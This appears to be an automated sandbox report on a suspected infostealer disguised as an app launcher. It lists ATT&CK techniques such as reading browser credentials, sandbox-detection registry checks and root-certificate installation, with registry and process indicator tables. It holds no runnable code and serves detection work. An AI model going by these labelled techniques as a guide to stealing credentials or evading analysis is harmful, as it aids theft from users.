c97e37545e7493c5c367cc0d4f6ba8170c6d08927e8bdd81aa2d7021c33d0614bbbf245ea784d73f0f2122bd4b0006db971cd85ed4c50b5c876e50a4e8c338a4fbcb2cc592669b855ecb7a6c937c8029585b57b54069ba0879a66462159d879645b5662320038b1c73a0d3a27933e0505986db2fe50225ea732a9f0014c836c7923be94e00ecd85609b9334912d2540b01abac47b691297d4cb475805201e8ca82f69fccac9c8f17ea2f26b0ab72ac0bfe9e511ec74355674f51b357d6b6ecee52b73ae94ee1d78188bc4f8e75bb4ba8f035aa26d4676749b2704c3b93dc1ddf78908672b238a4d1dc924dc958eb2b125cd43bae8c6bb083e5013ff80932f693353422afdd370d7709802bcd4800f18c9919470501e9d1bfd14ed0e628433799a40a4a08d99a7173d2aacd31136376a1376f92381e7d123c6632e7cb6de1fc5289ddcad666059a9661bea228c71ca3a736503c3aa4df4a6ee6873bceebf0e081379d133c528ebdb91d34c61dd50a6a3d9829708c892ad1ab8210481fdcf4efa5c5bb551a3863844eb76cad9554ec6522104917b8c01ec70fac5447	Setup.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NDP481-Web.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SetupUtility.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SetupUtility.exe

System Time Discovery 1 TTPs 3 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2824	chrome.exe
4484	chrome.exe
3040	chrome.exe

Checks SCSI registry key(s) 3 TTPs 24 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	App_launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	App_launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	App_launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	App_launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	App_launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	App_launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	App_launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	App_launcher.exe

Checks processor information in registry 2 TTPs 17 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	Setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	App_launcher.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Setup.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	Setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	Setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	App_launcher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	App_launcher.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	App_launcher.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	App_launcher.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	Setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	Setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134213853395745621"	chrome.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\WinRAR32\ = "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.zipx\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\DefaultIcon	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.7z\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.uu	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.zipx	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.rar\ShellNew\FileName = "C:\\Program Files\\WinRAR\\rarnew.dat"	uninstall.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cab\ = "WinRAR"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.xxe\ = "WinRAR"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.tzst\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shell	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B41DB860-8EE4-11D2-9906-E49FADC173CA}	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\PropertySheetHandlers	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\DropHandler\ = "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.zip\ = "WinRAR.ZIP"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\ = "WinRAR"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shell\open\command\ = "\"C:\\Program Files\\WinRAR\\WinRAR.exe\" \"%1\""	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\WinRAR32	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.rar\ = "WinRAR"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\DefaultIcon\ = "C:\\Program Files\\WinRAR\\WinRAR.exe,0"	uninstall.exe
Key created	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	WinRAR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA}	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.arj	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.lzh\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.tar	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.zst\ = "WinRAR"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\ = "WinRAR archive"	uninstall.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3119821332-640943685-2562343641-1000\{3E39A273-79FF-4011-BE82-2EB835FF8A24}	chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.z\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.REV	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	WinRAR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.z	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.taz\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\InProcServer32	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bz2\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.tbz	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.xz	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.rar\ShellNew	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.lz	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.uu\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bz2	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.REV\shell\open\command\ = "\"C:\\Program Files\\WinRAR\\WinRAR.exe\" \"%1\""	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.rar	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.xxe	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.xz\ = "WinRAR"	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\InProcServer32\ = "C:\\Program Files\\WinRAR\\rarext32.dll"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\DragDropHandlers\WinRAR	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.tgz\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bz	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.001\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\PropertySheetHandlers	uninstall.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.arj\ = "WinRAR"	uninstall.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.uue	uninstall.exe

Modifies system certificate store 2 TTPs 2 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3B1EFD3A66EA28B16697394703A72CA340A05BD5	Setup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8F43288AD272F3103B6FB1428485EA3014C0BCFE	Setup.exe

NTFS ADS 6 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\NDP481-Web.exe:Zone.Identifier	chrome.exe
File created	C:\Users\Admin\AppData\Local\Temp\Rar$EXb4628.36251.rartemp\App_launcher.exe:Zone.Identifier	WinRAR.exe
File opened for modification	C:\Users\Admin\Downloads\Val0AppLauncher(Late_April_Update).rar:Zone.Identifier	chrome.exe
File opened for modification	C:\Users\Admin\Downloads\winrar-x64-720.exe:Zone.Identifier	chrome.exe
File created	C:\Users\Admin\Downloads\Val0AppLauncher(Late_April_Update)\App_launcher.exe:Zone.Identifier	WinRAR.exe
File created	C:\ProgramData\LightSlateGrayCrimson\App_launcher.exe\:Zone.Identifier:$DATA	App_launcher.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3096	chrome.exe
3096	chrome.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
5116	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
2368	WinRAR.exe
4628	WinRAR.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 28 IoCs

pid	Process
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
2368	WinRAR.exe
2368	WinRAR.exe
2368	WinRAR.exe
2368	WinRAR.exe
2368	WinRAR.exe
2368	WinRAR.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe
4708	App_launcher.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3636	winrar-x64-720.exe
3636	winrar-x64-720.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3160 wrote to memory of 4448	3160	chrome.exe	80
PID 3160 wrote to memory of 2824	3160	chrome.exe	81
PID 3160 wrote to memory of 1656	3160	chrome.exe	82
PID 3160 wrote to memory of 1656	3160	chrome.exe	82
PID 3160 wrote to memory of 4244	3160	chrome.exe	83
PID 3160 wrote to memory of 4244	3160	chrome.exe	83
PID 3160 wrote to memory of 3752	3160	chrome.exe	84
PID 3160 wrote to memory of 4768	3160	chrome.exe	85
PID 3160 wrote to memory of 3752	3160	chrome.exe	84
PID 3160 wrote to memory of 4768	3160	chrome.exe	85
PID 3160 wrote to memory of 2208	3160	chrome.exe	86
PID 3160 wrote to memory of 2208	3160	chrome.exe	86
PID 3160 wrote to memory of 3048	3160	chrome.exe	89
PID 3160 wrote to memory of 3048	3160	chrome.exe	89
PID 3160 wrote to memory of 1868	3160	chrome.exe	90
PID 3160 wrote to memory of 1868	3160	chrome.exe	90
